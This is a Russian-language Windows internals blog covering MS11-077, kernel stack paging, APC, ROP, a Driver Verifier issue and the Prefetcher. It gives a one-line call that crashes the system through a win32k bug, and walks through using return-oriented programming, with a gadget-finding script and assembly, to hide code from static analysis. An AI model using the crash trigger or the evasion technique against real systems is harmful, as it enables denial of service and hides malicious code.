понедельник, 24 октября 2011 г.

MS11-077

Уязвимость в графической подсистеме windows, в win2k.sys, сидит там с момента выхода windows 2000, т.к. именно в этой версии винды появилась CB_ADDSTRING message и следовательно обработка этой мессаги в ядре, которая имеет в себе баг.

BF91452C ; __stdcall NtUserfnINCBOXSTRING(x, x, x, x, x, x, x)
BF91452C arg_0           = dword ptr  8
BF91452C arg_4           = dword ptr  0Ch
BF91452C arg_8           = dword ptr  10h
BF91452C arg_C           = dword ptr  14h
BF91452C arg_10          = dword ptr  18h
BF91452C arg_14          = dword ptr  1Ch
BF91452C arg_18          = dword ptr  20h
BF91452C
BF91452C                 mov     edi, edi
BF91452E                 push    ebp
BF91452F                 mov     ebp, esp
BF914531                 mov     ecx, [ebp+arg_0] <=== не проверяется на валидность, прилетает переданное значение 0xFFFFFFFF
BF914534                 mov     eax, [ecx+20h] <=== oops! BSOD

Находится данная ф-ция в табличке и вызывается ф-цией NtUserMessageCall по индексу(CB_ADDSTRING = 0x143):

NtUserMessageCall(...):
{
...
    BF80EF21                 push    [ebp+arg_18]    ; int
    BF80EF24                 movzx   eax, ds:_MessageTable[eax]
    BF80EF2B                 push    ecx             ; int
    BF80EF2C                 push    [ebp+arg_10]    ; int
    BF80EF2F                 and     eax, 3Fh
    BF80EF32                 push    [ebp+Address]   ; Address
    BF80EF35                 push    [ebp+UnicodeString] ; int
    BF80EF38                 push    [ebp+arg_4]     ; int
    BF80EF3B                 push    esi             ; int
    BF80EF3C                 call    ds:_gapfnMessageCall[eax*4]
...
}

BF991428 _gapfnMessageCall:
..,.
BF991494                 dd offset _NtUserfnINCBOXSTRING@28 ;
....

Таким образом, можно поймать BSOD, вызвав:

NtUserMessageCall( (HWND)-1,CB_ADDSTRING, 0, 0, 0, 0, FALSE );
или  
SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);

Дальнейшая эксплуатация на первый взгляд возможна, для этого нужно создать свой объект HWD в страничке выделенной в UM по нулевому адресу, причем сформировать таким образом, чтобы передалось управление на один из колбеков в этой структуре. 

Updated: Crash провел более детальный ресерч(см. комменты) и согласно ресерчу, уязвимость не эксплуатируемая.

понедельник, 17 октября 2011 г.

Может ли стек ядерного потока быть выгружаемым?

Знакомый увидил фактом того, что ядерный стек может быть выгружен.

Для меня это было откровением, ибо мне было известно, что для ядерного стека выделяется изначально три странички невыгружаемой памяти, также он может быть  расширен(динамически), если поток превратился в gui-поток (вызвав сервисную ф-цию из shadow ssdt).

Поэтому руководствуясь поговоркой "доверяй, но проверяй" я решил этот факт проверить.

Итак, на этапе инициализации системы, среди прочих, создаются системные потоки KeBalanceSetManager и KeSwapProcessOrStack.

BOOLEAN MmInitSystem( IN ULONG Phase, IN PLOADER_PARAMETER_BLOCK LoaderBlock )
{
...
    PsCreateSystemThread( &ThreadHandle, THREAD_ALL_ACCESS, &ObjectAttributes, 0L, NULL, KeBalanceSetManager, NULL );
    PsCreateSystemThread( &ThreadHandle, THREAD_ALL_ACCESS, &ObjectAttributes, 0L, NULL, KeSwapProcessOrStack, NULL );
...
}

Оба этих системных потока находятся в вечном ожидании и активизируются либо по таймеру, либо по эвенту.
Причем поток KeBalanceSetManager при срабатывании от таймера может инициализировать событие для второго потока(KeSwapProcessOrStack).
KeSwapProcessOrStack также может быть вызван из других мест(аттач/детач и т.д.), а также в случае нехватки памяти.

KeSwapProcessOrStack висит в вечном ожидании евента, и как только эвент получен, ф-ция проверяет есть ли в очередях запросы
на выгрузку страничек ядерного стека или наоборот, превращение их из нерезидентных в резидентных. Если таковые запросы в очередях обнаружены - они выполняются. Чтобы ядерный стек потока был выгружен, нужно чтобы он провисел в ожидании больше, чем stack protection time(15сек).

Проверить резидентен ли стек у потока можно, проверив переменную KernelStackResident:

typedef struct _KTHREAD
{
...
    BOOLEAN KernelStackResident;
...
} KTHREAD, *PKTHREAD, *PRKTHREAD;

Обратную операцию, то есть создание резидентного ядерного стека делает планировщик, при помещении потока в ready list (по прежнему, через сигнализацию эвента ).

Таким образом, якобы невыгружаемый ядерный стек потока при определенных условиях(поток в состоянии ожидания более 15ти секунд), может быть превращен из резидентного в нерезидентный.

Далее, менеджер памяти в ситуации нехватки памяти вполне может провести операцию усечения рабочего множества, и скинуть на диск эти самые более не резидентные странички.

среда, 31 августа 2011 г.

Что будет, если ...

Если из windows убрать такой важный механизм как APC? Некоторые программисты вообще не слышали ни о каком APC, казалось бы, исчезни он вовсе - чего мы лишимся? Оказывается довольно многого.

Неполучиться замораживать потоки(suspend), убивать потоки, получать/устанавливать контекст для потока, устанавливать таймеры.
Но на самом деле это все мелочи, так как запрет на заморозку/уничтожение потоков просто меркнет перед тем фактом, что без APC не получится даже просто запустить пользовательский поток! Так как старт любого юзермодного потока начинается с доставки APC.

Итак, мы получили систему без APC - мрачную систему без юзермодных потоков, остались живы только ядро системы и драйвера.

Однако на сладкое осталась еще одна важная деталь, которая уже касается непосредственно драйверов - если не будет APC, ввод-вывод перестанет быть асинхронным, а значит будет о-о-очень медленным.

вторник, 30 августа 2011 г.

Вновь о трассировке

Размышлял на днях о том, как сделать полностью недетектируемый способ контроля кода, и пришел к тому, что скорее всего это возможно.

Для этого потребуется процессор с поддержкой технологии VT-X и немного шаманства. Шаманство будет заключаться в запуске windows в качестве гостевой системы. Далее с введенным Trap Flag запускается гостевая система, и при выполнении каждой инструкции будет выполнен VM Exit в хостовую систему.

Из гостевой системы детект хоста невозможен по определению, поэтому единственный способ который можно использовать для детекта такого вида трассировки - это тайминговые атаки(через RDTSC). Однако мало того, что RDTSC является одной из VM-Exit команд и для гостевой можно подсунуть все что угодно, так еще можно сэмулировать (через CPUID) факт того, что код выполняется на более медленном процессоре чем он есть на самом деле. Все это сведет тайминговые атаки ( которые сами по себе являются ненадежными ) на нет.

суббота, 6 августа 2011 г.

Препятствуем статическому анализу

Делать это можно по разному, можно через полиморфизм/метаморфизм/обфускацию, а можно изменить подход - убрать сам объект скрытия. Ведь нет кода - нечего и обнаруживать. Что же тогда процессор будет выполнять, если кода нет? Ну, на самом деле он есть, просто в другом модуле. Речь пойдет о Return Oriented Programming (rop).

Rонцепция rop проста - в уже загруженных модулях ищутся так называемые rop-gadgets: последовательности инструкций, заканчивающиеся инструкцией ret. Затем на эти готовые инструкции передается управление. Таким образом, весь исполняемый код программы как бы собирается из кусочков чужих модулей, что позволяет не иметь своего кода, вместо него будет лишь череда аргументов/адресов возврата.

В качестве примера напишем простейшее приложение на masm выводящее "Hello" через MessageBox:

.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.code

start:
    jmp @F
      szTitle    db "Hello",0
    @@:
   
    push MB_OK
    push offset szTitle
    push offset szTitle
    push 0
    call MessageBox

    push 0   
    call ExitProcess

end start

В IDA будет виден простой и понятный код, теперь перепишем его используя rop технику, избавившись от констант, статической линковки user32 и адресов функций ( для простоты вместо адресов ф-ций будет хардкод ).

Rop-gadgets будем искать в ntdll.dll, так как ее грузит ядро во все процессы, то есть она есть везде.

User32.dll для нашей программы придется грузить динамически, так что ищем соответствующий гаджет в ntdll.dll.
Чтобы не искать вручную, напишем простенький скрипт:

import idaapi
import idautils
import idc

def GetNodeDisasmView( nodeStart, nodeEnd ):
    result = ""
    instructions = Heads( nodeStart, nodeEnd )

    for address in instructions:
        result += hex(address) + "    " + GetDisasm( address ) + "\n"
       
    return result

def SaveTwoNodes( fileHandle, prevNodeStartEA, prevNodeEndEA, idaNodeStartEA, idaNodeEndEA ):
    result = GetNodeDisasmView( prevNodeStartEA, prevNodeEndEA )
    fileHandle.write( result )
    result = GetNodeDisasmView( idaNodeStartEA, idaNodeEndEA )
    result = result + "\n"
    fileHandle.write( result )

def SaveOneNode( fileHandle, idaNodeStartEA, idaNodeEndEA ):
    result = GetNodeDisasmView( idaNodeStartEA, idaNodeEndEA )
    result = result + "\n"
    fileHandle.write( result )

#      
# entry point
#

print "Script Start..."

ea = ScreenEA()
fileHandle = file("C:\\retNodes.txt", "w");

for functionAddress in Functions( SegStart(ea), SegEnd(ea) ):
    rawNodes = idaapi.FlowChart( idaapi.get_func( functionAddress ), None, idaapi.FC_PREDS )

    for idaNode in rawNodes:
        if idaapi.is_ret_block( idaNode.type ):
            if idaNode.id > 0:
                prevNode = rawNodes[ idaNode.id - 1 ]
                SaveTwoNodes( fileHandle, prevNode.startEA, prevNode.endEA, idaNode.startEA, idaNode.endEA )
            else:
                SaveOneNode( fileHandle, idaNode.startEA, idaNode.endEA )

fileHandle.close()

print "Script End..."

Далее в текстовом файле среди rop-gadgets ищем подходящий, и находим:

0x7c927e1c    mov     edi, edi
0x7c927e1e    push    ebp
0x7c927e1f    mov     ebp, esp
0x7c927e21    push    [ebp+arg_C]
0x7c927e24    push    [ebp+arg_8]
0x7c927e27    push    [ebp+arg_4]
0x7c927e2a    call    [ebp+arg_0]
0x7c927e2d    pop     ebp
0x7c927e2e    retn    10h

Вызывается ф-ция с тремя аргументами, адрес ф-ции также передается через стек.
HMODULE WINAPI LoadLibrary( __in LPCTSTR lpFileName ); - один параметр, не подходит
Зато вполне подходит LoadLibraryEx:
HMODULE WINAPI LoadLibraryEx( __in LPCTSTR lpFileName, __reserved HANDLE hFile, __in DWORD dwFlags );
Собственно одного гаджета вполне хватит для нашей программы, дальнейшая работа будет заключаться только в подготовке 
параметров для последующих ф-ций. Конечный результат:
.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.code

start:
    ; rop gadget:

    ; 0x7c927e1c    mov     edi, edi
    ; 0x7c927e1e    push    ebp
    ; 0x7c927e1f    mov     ebp, esp
    ; 0x7c927e21    push    [ebp+arg_C]
    ; 0x7c927e24    push    [ebp+arg_8]
    ; 0x7c927e27    push    [ebp+arg_4]
    ; 0x7c927e2a    call    [ebp+arg_0]
    ; 0x7c927e2d    pop     ebp
    ; 0x7c927e2e    retn    10h

    push 00006C6Ch ; "ll"
    push 642E3233h ; "32.d"
    push 72657375h ; "user"
    push 0000006Fh ; "o"
    push 6C6C6548h ; "Hell" (yeah! =])

    push 0         ; uExitCode for ExitProcess
    push 0deadc0deh; 
 
    push 0         ; 
    push 0012FFB0h ; ptr to "Hello"
    push 0012FFB0h ; ptr to "Hello"
    push 0         ; 
    push 7C81CB12h ; return address ( to ExitProcess ) 
  
    push 0                               ; arg_C
    push 0                               ; arg_8
    push 0012FFB8h ; ptr to "user32.dll" ; arg_4
    push 7C801D53h ; LoadLibraryExA      ; arg_0
    push 7E3A07EAh ; return address ( to MessageBoxA )

    push 7c927e1ch ; goto rop-gadget 0x7c927e1c
    ret
end start 
Теперь статическим анализом ничего понять из данного кода будет невозможно, вернее, именно для этого простейшего 
примера легко можно загрузить ntdll.dll, и найти соответствия адресов и инструкций. Однако в более сложных случаях 
код может собираться из многих модулей, модули изза ASLR/конфликтов адресов могут грузиться по разным адресам, и в 
таком случае поможет только динамический анализ( простейший трейсер ).

воскресенье, 31 июля 2011 г.

Driver verifier problem

Тестер проверял драйвер моего tdi фильтра под верифаером, со всеми включенными опциями, поймался bsod:

DRIVER_VERIFIER_IOMANAGER_VIOLATION (c9)
The IO manager has caught a misbehaving driver.
Arguments:
Arg1: 00000208, This IRP is about to run out of stack locations. Someone may have forwarded this
    IRP from another stack.
Arg2: ee8e99ff, The address in the driver's code where the error was detected.
Arg3: 86b5ef68, IRP address.
Arg4: 00000000

...

STACK_TEXT: 
f7675fc8 8065fe0b 0000004c 000000c9 f7675fe8 nt!KeBugCheckEx+0x1b
f7676150 80660571 f767642b 8068f090 00040000 nt!ViBugcheckHalt+0xc3
f76763f4 80660657 80693630 00000208 f7676420 nt!VfBugcheckThrowException+0xa1
f76764e4 806639ac 00000208 00000009 ee8e99ff nt!VfBugcheckThrowIoException+0xb5
f7676510 80663dce 86b5efd8 877faf00 00000002 nt!IovpExamineIrpStackForwarding+0x1dc
f7676584 80656116 001b4950 862c30e8 862df168 nt!IovpCallDriver1+0x1de
f76765ac ee8e9b20 f76765e4 ee8e99ff 861edf18 nt!IovCallDriver+0x8e

После анализа оказалось, что верифаер изменяет число stack locations, так что абсолютно корректный код:

static NTSTATUS ForwardIrp( __in PDEVICE_OBJECT deviceObject, __in PIRP irp )
{
    RT_ASSERT( irp );
    RT_ASSERT( deviceObject );   

    IoSkipCurrentIrpStackLocation( irp );

    return IoCallDriver( deviceObject, irp );   
}

Будет работать без верифаера, и будет падать при включенном верифаере.
Проблема и решение также описана тут: http://www.osronline.com/showthread.cfm?link=139736

Мораль - проверяющие тулзы это конечно хорошо, но иногда и они ошибаются.

суббота, 30 июля 2011 г.

Windows Logical Prefetcher

Logical Prefetcher появился в Windows XP, он представляет собой часть ядра и нужен для уменьшения числа head seek-ов жесткого диска, что соответственно увеличивает скорость запуска приложений или системы.

При старте процесса он отслеживает первые 10 секунд его работы(таймаут задается через реестр), затем запоминает имена файлов, смещения, а также метаданные фс к которым был произведен доступ, после чего данная информация записывается в файл в директории %SystemRoot%\Prefetch.

При повторном старте приложения, Logical Prefetcher проверяет, есть ли префетч файл в соответствующей директории, и если есть - парсит его и подгрузит все метаданные для каждой директории указанной в префетч файле.Затем идет отображение каждого файла, перечисленного в префетч файле, загрузка его и установка тех смещений, которые были запомнены ранее( и сохранены в префетч файле ).

Таким образом, вместо беспорядочного метания головок диска для доступа к небольшим порциям данных файла, получаем упорядоченный доступ к большим последовательным потокам данных, что может ускорить запуск процессов в большинстве случаев.

Prefetcher может ускорять не только запуск приложений, но и уменьшать boot-time системы.

Настройки префетчера храняться в реестре:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters

Для его включения нужно установить EnablePrefetcher = 3 (Disabled = 0, Application = 1, BootUp = 2, Application AND BootUp = 3), хотя по умолчанию он и так включен.

Там же прописан таймаут работы префетчера при первом запуске - AppLaunchTimerPeriod.

Пример префетч файла: C:\WINDOWS\Prefetch\VMMAP.EXE-3B5AFAED.pf (вывод утилитой от Руссиновича Strings):

SCCA
VMMAP.EXE
C-p
Xa%
0pL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\NTDLL.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\KERNEL32.DLL
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\UNICODE.NLS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\LOCALE.NLS
\DEVICE\HARDDISKVOLUME1\WINDOWS\SYSTEM32\SORTTBLS.NLS
\DEVICE\HARDDISKVOLUME2\INSTALLEDTOOLS\VMMAP\VMMAP.EXE
...
Структура .pf файла проста - заголовок + смещения + юникодные имена файлов.
Также для префетч файла есть несколько требований - это наличие сигнатуры в заголовке(SCCA), сам файл должен быть меньше 16мб, смещения не должны вылезать за пределы файла ( это проверяется ф-цией PfWithinBounds ).

Что касается имени префетч файла, например VMMAP.EXE-3B5AFAED.pf, то 3B5AFAED это хеш от пути, хеш подсчитывается следующей ф-цией:

#define RNDM_CONSTANT    314159269
#define RNDM_PRIME        1000000007

ULONG CcPfHashValue( PVOID Key, ULONG Len )
/*
Routine Description:
    Generic hash routine.

Arguments:
    Key - Pointer to data to calculate a hash value for.
    Len - Number of bytes pointed to by key.

Return Value:
    Hash value.
*/
{
    char *cp = Key;
    ULONG i, ConvKey=0;

    for ( i = 0; i < Len; i++ )
    {
        ConvKey = 37 * ConvKey + (unsigned int)*cp;
        cp++;
    }

    return ( abs( RNDM_CONSTANT * ConvKey ) % RNDM_PRIME );
}

Однако кроме обычных приложений есть еще и приложения которые имеют командную строку, для таких файлов хеш считается по другому, а сами файлы перечислены в реестре:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters\HostingAppList: DLLHOST.EXE,MMC.EXE,RUNDLL32.EXE

Ф-ция ответственная за проверку принадлежит или нет процесс данному списку называется CcPfIsHostingApplication.

Что касается реализации, то префетчер запускается при запуске первичного потока, цепочка вызовов выглядит так:

NtCreateThread => PspCreateThread => KeInitThread( ..., PspUserThreadStartup, ...):

VOID PspUserThreadStartup( IN PKSTART_ROUTINE StartRoutine, IN PVOID StartContext )
{
...
    if (CCPF_IS_PREFETCHER_ENABLED())
    {
        //
        // If this is the first thread we are starting up in this process, prefetch the pages likely to be used when initializing the application into the system cache.
        //

        if ((Process->Flags & PS_PROCESS_FLAGS_LAUNCH_PREFETCHED) == 0)
        {
            OldFlags = PS_TEST_SET_BITS(&Process->Flags, PS_PROCESS_FLAGS_LAUNCH_PREFETCHED);

            if ((OldFlags & PS_PROCESS_FLAGS_LAUNCH_PREFETCHED) == 0)
            {
                if (Process->SectionObject)
                {
                    //
                    // Notify cache manager of this application launch.
                    //

                    CcPfBeginAppLaunch( Process, Process->SectionObject );
                }
            }
        }
    }

    //
    // Queue the initial APC to the thread
    //

    KeRaiseIrql (APC_LEVEL, &OldIrql);

    KiInitializeUserApc( PspGetBaseExceptionFrame (Thread),
                         PspGetBaseTrapFrame (Thread),
                         PspSystemDll.LoaderInitRoutine,
                         NULL,
                         PspSystemDll.DllBase,
                         NULL);

    KeLowerIrql (PASSIVE_LEVEL);
...
}

Сам префетчинг происходит через перечисление содержимого директории ZwQueryDirectoryFile с классом FileNamesInformation, и загрузкой секций(CcPfPrefetchSections) через IoCreateFile + ZwCreateSection и метаданных (CcPfPrefetchMetadata), но тут уже идет обращение к ФС через ZwFsControlFile(..., FSCTL_FILE_PREFETCH,...).

Работа префетчера по сбору данных идет асинхронно через рабочие потоки, совершенно прозрачно для процесса.

Остался один неосвещенный вопрос - как именно префетчер узнает к какому файлу(секции) было обращение при первом запуске приложения?
Ответ - через отслеживание ошибок страниц.

Цепочка ф-ций, при страничном фолте:

_KiTrap0E => MmAccessFault => MiDispatchFault => MiCompleteProtoPteFault => CcPfLogPageFault.

VOID CcPfLogPageFault(IN PFILE_OBJECT FileObject, IN ULONGLONG FileOffset, IN ULONG Flags )
{
...
    SECTION_OBJECT_POINTERS *sectionObjectPointer = FileObject->SectionObjectPointer;
...
}

С каждым процессом связана трасса - структура данных, позволяющая вести связи между собираемыми данными. Полученный PSECTION_OBJECT_POINTERS сохраняется в этой структуре, также извлекаются и сохраняются DataSectionObject и ImageSectionObject.

Таким образом, префетчер запоминает страницы относящиеся к запускаемым файлам, соотносит их с файлами( секциями ) и после того, как таймаут трассы процесса закончится, накопленные данные будут сброшены в .pf файл, а при следующем запуске префетчер заранее загрузит необходимые файлы для процесса.

На этом кратенький, и не претендующий на истину в последней инстанции, обзор префетчера закончен.